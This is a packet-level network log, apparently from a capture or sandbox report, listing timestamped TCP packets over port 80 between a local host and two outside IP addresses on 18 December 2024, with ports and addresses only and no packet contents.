Dec 18, 2024 12:00:26.279700994 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.279742956 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.280741930 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.280791044 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.280795097 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.280844927 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.281822920 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.281869888 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.281969070 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.282020092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.282957077 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.283006907 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.283046007 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.283085108 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.284002066 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.284065008 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.284126043 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.284168959 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.285164118 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.285268068 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.285274982 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.285310984 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.286212921 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.286267042 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.286305904 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.286344051 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.287337065 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.287420988 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.287436008 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.287456989 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.288510084 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.288554907 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.288598061 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.288636923 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.289475918 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.289520025 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.289582968 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.289623976 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.290592909 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.290718079 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.290731907 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.290754080 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.291709900 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.291759968 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.291799068 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.291846991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.292125940 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.292172909 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.292185068 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.292253971 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.292562008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.292618036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.292686939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.292731047 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.292798042 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.292881966 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.292929888 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.293298960 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.293396950 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.293437958 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.293477058 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.293894053 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.293936014 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.294002056 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.294080973 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.294116020 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.294130087 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.294158936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.294187069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.294825077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.294873953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.294895887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.294939995 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.294967890 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.295068026 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.295150995 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.295247078 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.295573950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.295633078 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.295639992 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.295778036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.296065092 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.296112061 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.296185970 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.296228886 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.296380043 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.296395063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.296438932 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.297101974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.297146082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.297178984 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.297193050 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.297224045 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.297224045 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.297385931 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.297432899 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.297854900 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.297955036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.298005104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.298043966 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.298270941 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.298314095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.298319101 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.298362970 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.298599005 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.298650980 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.298753023 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.298829079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.299354076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.299412012 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.299427986 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.299442053 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.299468994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.299515009 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.300066948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.300137043 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.300196886 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.300239086 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.300877094 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.300925970 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.301013947 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.301058054 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.301604033 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.301671982 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.301708937 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.301783085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.302402020 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.302450895 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.302478075 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.302500010 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.303128004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.303172112 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.303231955 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.303268909 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.303869963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.303971052 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.303981066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.304014921 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.304621935 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.304734945 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.304776907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.304815054 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.305496931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.305543900 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.305588007 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.305627108 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.306474924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.306521893 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.306548119 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.306586027 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.307400942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.307537079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.307589054 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.307885885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.307930946 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.307967901 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.308010101 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.308634043 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.308681965 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.308723927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.308783054 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.309412956 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.309461117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.309523106 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.309613943 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.310064077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.310115099 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.310147047 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.310187101 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.310730934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.310784101 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.310935020 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.310986996 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.311440945 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.311500072 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.311541080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.311584949 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.312222004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.312263966 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.312325954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.312367916 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.312930107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.312973022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.313010931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.313066959 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.313726902 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.313786983 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.313822031 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.313858986 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.342370987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.342432022 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.342432976 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.342470884 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.342596054 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.342638016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.342729092 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.342783928 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.342859030 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.342926025 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.343342066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.343386889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.343420982 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.343456984 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.344118118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.344175100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.344240904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.344288111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.344322920 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.344376087 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.344953060 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.344996929 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.345035076 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.345073938 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.345695019 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.345798969 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.345833063 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.345868111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.346448898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.346678972 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.346688032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.346723080 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.346892118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.346932888 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.347557068 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.347596884 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.347606897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.347645044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.348299980 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.348351002 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.348383904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.348426104 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.348953962 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.349009037 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.349252939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.349266052 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.349298000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.349313974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.349958897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.350004911 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.350039005 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.350075006 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.350742102 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.350786924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.350827932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.350867033 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.351466894 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.351509094 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.419872046 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.419924021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.419967890 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.420011044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.420241117 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.420289993 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.420360088 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.420429945 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.421020985 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.421075106 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.421197891 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.421245098 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.421744108 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.421787977 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.422024965 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.422070026 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.422135115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.422326088 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.422743082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.422842026 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.422877073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.422914028 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.423536062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.423607111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.423687935 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.423804045 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.424300909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.424348116 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.424468994 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.424525023 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.425179005 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.425223112 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.425259113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.425296068 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.425843000 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.425887108 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.425966978 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.426018000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.426551104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.426600933 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.426634073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:26.426673889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:26.433315992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.433370113 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.433417082 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.433458090 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.433847904 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.433895111 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.433931112 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.433979034 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.434698105 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.434747934 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.434787035 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.434827089 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.435834885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.435879946 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.436059952 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.436208963 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.436925888 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.436973095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.437078953 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.437119961 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.438128948 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.438175917 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.438182116 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.438219070 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.439116955 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.439165115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.439165115 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.439212084 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.440176010 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.440226078 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.440273046 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.440314054 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.441281080 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.441327095 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.441365004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.441405058 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.442370892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.442416906 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.442539930 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.442745924 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.443470001 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.443522930 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.443586111 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.443692923 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.444562912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.444619894 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.444648027 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.444689989 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.445677996 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:26.445744991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:26.445771933 CET	80	49950	185.215.113.16	192.168.2.6
